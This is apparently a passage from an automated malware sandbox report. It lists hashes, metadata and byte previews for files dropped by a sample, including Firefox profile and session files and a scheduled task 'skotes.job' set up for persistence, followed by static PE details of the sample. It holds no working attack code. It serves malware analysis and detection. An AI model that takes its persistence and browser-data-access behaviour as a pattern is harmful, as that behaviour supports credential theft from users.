Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07332220847014906
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zki:DLhesh7Owd4+ji
MD5:	D9DDF05F30B0C254952DC57FB4B8AECD
SHA1:	3C6C0D4077BB11F0B85AA690A36DAA797903ECC8
SHA-256:	8E993A5E18ED0A2A6B6B4A57100076D43FEEDD3BF45B2407F782824A3A4CEAEA
SHA-512:	8C5E9105DBF6CD8D57C0034B3DA05328123EE86843739C585748DED67EAF1A25B0B2DB5FB0A69640AAFF8F01227FF036C9973FC88465DA02D283B6A6BB35EEE6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035737944707653645
Encrypted:	false
SSDEEP:	3:GtlstFl5d4CEhRFh41lstFl5d4CEhRF51T89//alEl:GtWt4CEhRFq1Wt4CEhRFn89XuM
MD5:	BD0AB9FFD7A4F5715E126E59714B2B83
SHA1:	5F9B74195732A5E5C4DFFE057A8516FFC17209DE
SHA-256:	4AF84E0919A4534D2E452EBCDD71557DBFD1426E62F5986223206A11FEA815CB
SHA-512:	91A27F6BC25C0ADB81A282CDAFE306C2CBDBC818F0B8FC9E731838EA3D6EEFF05C7A51DFE8D8E17A6505741F97E2A9D28CA29D4F5E2622B4BE2D544E09C27A8D
Malicious:	false
Preview:	..-.....................r.J.eM.....E..4R.{7.X...-.....................r.J.eM.....E..4R.{7.X.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03953796449516446
Encrypted:	false
SSDEEP:	3:Ol12K1oofkn6yB/tDl8rEXsxdwhml8XW3R2:KAK1FUtDl8dMhm93w
MD5:	21DABC94B1A71BAC9CB02AA8296DAD28
SHA1:	131848666F16211D123ED9CC1018DBFDB3930F43
SHA-256:	0AD1851B4CD9F74B1F8AC9310EAF7FE0FA373F1BECFD05588179B25236D3004E
SHA-512:	43FB96EE49C659571F383ED20326FFEB4F2888C3814345021D5207A72CF47845DE238DF5EFA9F74B36090CA9C465DB2E8584F6CBD3FFC24AF2AE3BFD6298FBC0
Malicious:	false
Preview:	7....-.............E......w..]...........E...J.r..Me................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	13214
Entropy (8bit):	5.4764310530330995
Encrypted:	false
SSDEEP:	192:lrnSRkyYbBp6oqUCaXM6VV2NtX95RHNBw8d+nSl:UeXqU3LyDPwz0
MD5:	B1C41BAB9504BAB4DC810418CDBF84BF
SHA1:	C6EEE625F262A2BBBCEA4F1D3D9EEFC937A9646E
SHA-256:	403A0B8DB60662F90D1EF84707C54CB51A8FCDDFED1676F7A126F0A6CCC95454
SHA-512:	79F273FD501061B2598A497B9584D7FCD7980B7304A69869E033043A5456187354B662751F62FE7DDF27CE591037FF53AF047FDB0AA755BEDA76C4D79EBFDA9C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1729189961);..user_pref("app.update.lastUpdateTime.background-update-timer", 1729189961);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1729189961);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172918

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	13214
Entropy (8bit):	5.4764310530330995
Encrypted:	false
SSDEEP:	192:lrnSRkyYbBp6oqUCaXM6VV2NtX95RHNBw8d+nSl:UeXqU3LyDPwz0
MD5:	B1C41BAB9504BAB4DC810418CDBF84BF
SHA1:	C6EEE625F262A2BBBCEA4F1D3D9EEFC937A9646E
SHA-256:	403A0B8DB60662F90D1EF84707C54CB51A8FCDDFED1676F7A126F0A6CCC95454
SHA-512:	79F273FD501061B2598A497B9584D7FCD7980B7304A69869E033043A5456187354B662751F62FE7DDF27CE591037FF53AF047FDB0AA755BEDA76C4D79EBFDA9C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1729189961);..user_pref("app.update.lastUpdateTime.background-update-timer", 1729189961);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1729189961);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172918

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 5861 bytes
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	6.3275952959089015
Encrypted:	false
SSDEEP:	24:v+USUGlcAxSkycJkLXnIgz/pnxQwRlszT5sKha3eHVVPNZTqramzj3rOOcUb2miE:GUpOxe1FnR643etZTK5bedUd
MD5:	F3DAB7938FDA95173AFB8905C9B44F22
SHA1:	E194474DF24C370535F7F5454AF76990C61BD568
SHA-256:	605C4E0909F985A145E73F47F14C46B34DFA300625EB3C1F4A638D291EC3ED83
SHA-512:	879E3BED6AA980A638804DD701712BDCBAB3C8E52B2C1B580D54BD0AB341416588865DA9C26A78B709F570C2A83E1C9CB6ECE862F91AD765B9AE546CAA6AFB69
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{2b0a1140-91a8-4f34-955b-1df95e7b6b8f}","resultPrincipalURI":null,"hasUserInteracte...true,"triggering8.p_base64z..\"3\":{}^...docIdentifier":7,"persistK..+}],"lastAccessed":1729189969179,"hidden":false,"searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imag....chrome://global/skin/icons/warning.svg"..aselect...,"_closedTZ.@],"_...C..`GroupCF..":-1,"busy...t...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximize......BeforeMin...&..workspace9...4b3ac14b-43e5-4896-86e8-9e7d502ce1b5","zD..1...Wm..l........j..:.!ssF..{..iUpdate...80,"startTim..P30578...centCrash..B0},".....Dcook.. hoc..."addons.mozilla.org","valu...Abbc25ad08ccc1b2d785bc1812d8faa4d50f401055c8d3ce6d11bb3b0958223be","path":"/","na..a"taarI\|.Recure...,`.Donly..fexpiry...40251,"originA..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 5861 bytes
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	6.3275952959089015
Encrypted:	false
SSDEEP:	24:v+USUGlcAxSkycJkLXnIgz/pnxQwRlszT5sKha3eHVVPNZTqramzj3rOOcUb2miE:GUpOxe1FnR643etZTK5bedUd
MD5:	F3DAB7938FDA95173AFB8905C9B44F22
SHA1:	E194474DF24C370535F7F5454AF76990C61BD568
SHA-256:	605C4E0909F985A145E73F47F14C46B34DFA300625EB3C1F4A638D291EC3ED83
SHA-512:	879E3BED6AA980A638804DD701712BDCBAB3C8E52B2C1B580D54BD0AB341416588865DA9C26A78B709F570C2A83E1C9CB6ECE862F91AD765B9AE546CAA6AFB69
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{2b0a1140-91a8-4f34-955b-1df95e7b6b8f}","resultPrincipalURI":null,"hasUserInteracte...true,"triggering8.p_base64z..\"3\":{}^...docIdentifier":7,"persistK..+}],"lastAccessed":1729189969179,"hidden":false,"searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imag....chrome://global/skin/icons/warning.svg"..aselect...,"_closedTZ.@],"_...C..`GroupCF..":-1,"busy...t...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximize......BeforeMin...&..workspace9...4b3ac14b-43e5-4896-86e8-9e7d502ce1b5","zD..1...Wm..l........j..:.!ssF..{..iUpdate...80,"startTim..P30578...centCrash..B0},".....Dcook.. hoc..."addons.mozilla.org","valu...Abbc25ad08ccc1b2d785bc1812d8faa4d50f401055c8d3ce6d11bb3b0958223be","path":"/","na..a"taarI\|.Recure...,`.Donly..fexpiry...40251,"originA..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 5861 bytes
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	6.3275952959089015
Encrypted:	false
SSDEEP:	24:v+USUGlcAxSkycJkLXnIgz/pnxQwRlszT5sKha3eHVVPNZTqramzj3rOOcUb2miE:GUpOxe1FnR643etZTK5bedUd
MD5:	F3DAB7938FDA95173AFB8905C9B44F22
SHA1:	E194474DF24C370535F7F5454AF76990C61BD568
SHA-256:	605C4E0909F985A145E73F47F14C46B34DFA300625EB3C1F4A638D291EC3ED83
SHA-512:	879E3BED6AA980A638804DD701712BDCBAB3C8E52B2C1B580D54BD0AB341416588865DA9C26A78B709F570C2A83E1C9CB6ECE862F91AD765B9AE546CAA6AFB69
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{2b0a1140-91a8-4f34-955b-1df95e7b6b8f}","resultPrincipalURI":null,"hasUserInteracte...true,"triggering8.p_base64z..\"3\":{}^...docIdentifier":7,"persistK..+}],"lastAccessed":1729189969179,"hidden":false,"searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imag....chrome://global/skin/icons/warning.svg"..aselect...,"_closedTZ.@],"_...C..`GroupCF..":-1,"busy...t...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximize......BeforeMin...&..workspace9...4b3ac14b-43e5-4896-86e8-9e7d502ce1b5","zD..1...Wm..l........j..:.!ssF..{..iUpdate...80,"startTim..P30578...centCrash..B0},".....Dcook.. hoc..."addons.mozilla.org","valu...Abbc25ad08ccc1b2d785bc1812d8faa4d50f401055c8d3ce6d11bb3b0958223be","path":"/","na..a"taarI\|.Recure...,`.Donly..fexpiry...40251,"originA..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	5.036939538066271
Encrypted:	false
SSDEEP:	48:YrSAYHfeUQZpExB1+anO8e6WCVhhOjVkWAYzzc8rYMsku7f86SLAVL7J5FtsfAct:yc/+TEr5ZwoIhzzcHvbw6Kkdrc2Rn27
MD5:	723DB6D024770661385F2477365D6D60
SHA1:	1458AA440D0F7A9C9DADD12BC85EEA00129D5CE7
SHA-256:	1757E1C1B482D3C43E73FB2B77175969CF8E53873A452224CDE1D8C2B5EA4935
SHA-512:	297F7BD05ECFA1BF907B572419A4E1E85A7AEEAE22F1F25076E85A4CEC8E043A6B8E854BA61BCAB05BABFDAD22FBD794A5ECCED72755CF89CDEA180D04F09D4B
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-17T18:32:27.851Z","profileAgeCreated":1696491685971,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	5.036939538066271
Encrypted:	false
SSDEEP:	48:YrSAYHfeUQZpExB1+anO8e6WCVhhOjVkWAYzzc8rYMsku7f86SLAVL7J5FtsfAct:yc/+TEr5ZwoIhzzcHvbw6Kkdrc2Rn27
MD5:	723DB6D024770661385F2477365D6D60
SHA1:	1458AA440D0F7A9C9DADD12BC85EEA00129D5CE7
SHA-256:	1757E1C1B482D3C43E73FB2B77175969CF8E53873A452224CDE1D8C2B5EA4935
SHA-512:	297F7BD05ECFA1BF907B572419A4E1E85A7AEEAE22F1F25076E85A4CEC8E043A6B8E854BA61BCAB05BABFDAD22FBD794A5ECCED72755CF89CDEA180D04F09D4B
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-17T18:32:27.851Z","profileAgeCreated":1696491685971,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.499951626683554
Encrypted:	false
SSDEEP:	6:QtetDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lz1ut0:Q4JlvJQ1CGAFMkXd8kX+Vzct0
MD5:	28ADCA078F5B2414247950ECF80DDCA5
SHA1:	ED9559B3BBD8B3423C3C6EA30DF9700B2B3814BD
SHA-256:	82B8327809EC4684D256BD081B2AFF5D197BB1D3E8CAB86CF9EFCA7C14076F21
SHA-512:	AF6F3F5350800684782F7C93E173869A2158EE0A277BCD7B2DAE9A0F8F69508BD14543F6FFA757EE531271F79F0245DF2C3F3583E1C61B4BAACD671D1770CB47
Malicious:	false
Preview:	......2W.&.D....@S..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................'.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.55091545972585
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'947'072 bytes
MD5:	3c27780963b8e66d025eea98b9530c94
SHA1:	44fa6a54c3ac1cd16cabc1655d5d168fd042a122
SHA256:	537f43980854b039f1c3db1f35b837a8452026dc41f633ac25fdd319f018e8dd
SHA512:	9833471b1f85d279fba3e7bac2a99739b443fe70a88ea2415abe615a05c7c87bf8ac6c061925c05366daa0139b47e7c87f3a6176b90a3794afaf09ae558cae96
SSDEEP:	49152:fMPOIsXgHiq+sWJh0otBwwlDXB7bZY9APyb:rIOoiqRKhNLjBJYm0
TLSH:	8CD56CA1B509B5CBD88B5738A523CD82A93D03F5072188D7AA6C747E7D77CC217B6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....Ka-...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x708000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
